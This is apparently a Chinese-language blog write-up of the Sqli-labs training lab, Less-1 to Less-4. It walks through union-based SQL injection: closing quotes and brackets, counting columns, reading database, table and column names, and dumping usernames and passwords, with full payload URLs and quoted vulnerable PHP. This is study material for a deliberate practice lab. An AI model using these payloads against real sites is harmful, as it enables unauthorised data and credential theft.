Loading... # Sqli-labs学习1 ## Less-1:基于错误的get单引号字符串 Get-Error based -Single Quotes-String 1. 首先我们输入id=2-1和id=2发现输出相同说明是字符型注入 2. 我们首先尝试加引号闭合,但报错 ![image-20210820221419637.png](http://xherlock.top/usr/uploads/2022/01/518778395.png) 查看php源码 ~~~php $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ~~~ 此处可以看出报错'`'1" LIMIT 0,1`' at line 1加重部分是报错内容,说明是用单引号闭合 3. 查询字段数目 ~~~ /?id=1' order by 4--+ ~~~ -- (含空格)在sql语句中起注释作用;+是空格的意思(%20也是),空格必须要有 或者**输入%23表示#** 此处判断4列时报错,说明只有3列 burp suite中的输入: ![image-20210820223820936.png](http://xherlock.top/usr/uploads/2022/01/839922136.png) 4. 使用联合注入判断数据显示点 ~~~ /?id=-1' union select 1,2,3 --+ ~~~ 为了使联合语句的后句执行,需要使第一个语句错误,输入错误的负数id,可以看到第二列对应用户名,第三列对应密码 可控注入为2,3 ![image-20210820224712530.png](http://xherlock.top/usr/uploads/2022/01/3014815188.png) 5. 显示数据库名,用database()和user(), 可以看到数据库名为security **扩展**:**系统函数** * version():Mysql版本 * user():数据库用户名 * database():数据库名 * @@datadir:数据库路径 * @@version_compile_os:操作系统版本 ![image-20220127145011628.png](http://xherlock.top/usr/uploads/2022/01/3941561996.png) ![image-20210820224916207.png](http://xherlock.top/usr/uploads/2022/01/3291764865.png) 6. 再看数据表名 concat() 将多个字段连接成一个字符串,eg:concat(a.name,b.age), concat('~',a.name,b.age)使用特定符号分隔 group_concat() 将分组中的值连接成一个字符串,默认采用逗号分隔 ~~~url /?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ ~~~ 此例中采用where筛选出所有数据库名满足的表成为一个分组,将它们的名称都连起来返回一个字符串 ![image-20210820230418993.png](http://xherlock.top/usr/uploads/2022/01/2039903904.png) ![image-20210820230530551.png](http://xherlock.top/usr/uploads/2022/01/3984902522.png) 7. 再来看字段名,获取字段名同上方法 ~~~url /?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ ~~~ ![请输入图片描述](http://xherlock.top/usr/uploads/2022/01/3718127071.png) ![image-20210820230727261.png](http://xherlock.top/usr/uploads/2022/01/1297053999.png) 8. 查看用户名和密码 ~~~url /?id=-1' union select 1,group_concat(username),group_concat(password) from users --+ ~~~ ![image-20220127162210620.png](http://xherlock.top/usr/uploads/2022/01/1087670104.png) 或者 0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的’:’ ,用以分割pasword和username ~~~ /Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+ ~~~ ![image-20210820231509745.png](http://xherlock.top/usr/uploads/2022/01/2551929103.png) ## Less-2:基于错误的get整型注入 Get-Error based -Intiger based 1. 首先我们输入id=2-1和id=2发现输出不同说明整型注入 2. 其实后面输入和第一个一样,只不过不再输单引号把id封住了 ~~~sql /Less-2/id=-1 union select 1,group_concat(username),group_concat(password) from users--+ ~~~ ## Less-3:基于错误的get单引号变形字符型注入 Get-Error based -Single Quotes with twist-String 首先+'发现报错如下,说明需要一个单引号+后小括号来闭合语句 ![image-20220127162912955.png](http://xherlock.top/usr/uploads/2022/01/471583451.png) 1. 查看源码 ~~~php $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $result=mysqli_query($con1, $sql); $row = mysqli_fetch_array($result, MYSQLI_BOTH); ~~~ 发现使用括号闭合 2. 输入/?id=1)--+没有报错说明正确 3. 按照Less-1的方法加入union联合查询 ~~~sql /Less-3/?id=-1') union select 1,database(),group_concat('~',username,password) from users--+ ~~~ ## Less-4:基于错误的GET双引号字符型注入 Get-Error based -Double Quotes-String 同上,添加双引号时报错,同时看到有括号,故使用双引号+后括号 1. 查看源码 ~~~php $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; $result=mysqli_query($con1, $sql); $row = mysqli_fetch_array($result, MYSQLI_BOTH); ~~~ 发现使用双引号加括号闭合 2. 输入/?id=1")--+没有报错说明正确 3. 按照Less-1的方法加入union联合查询 ~~~sql /Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users --+ ~~~ 最后修改:2022 年 01 月 27 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,请随意赞赏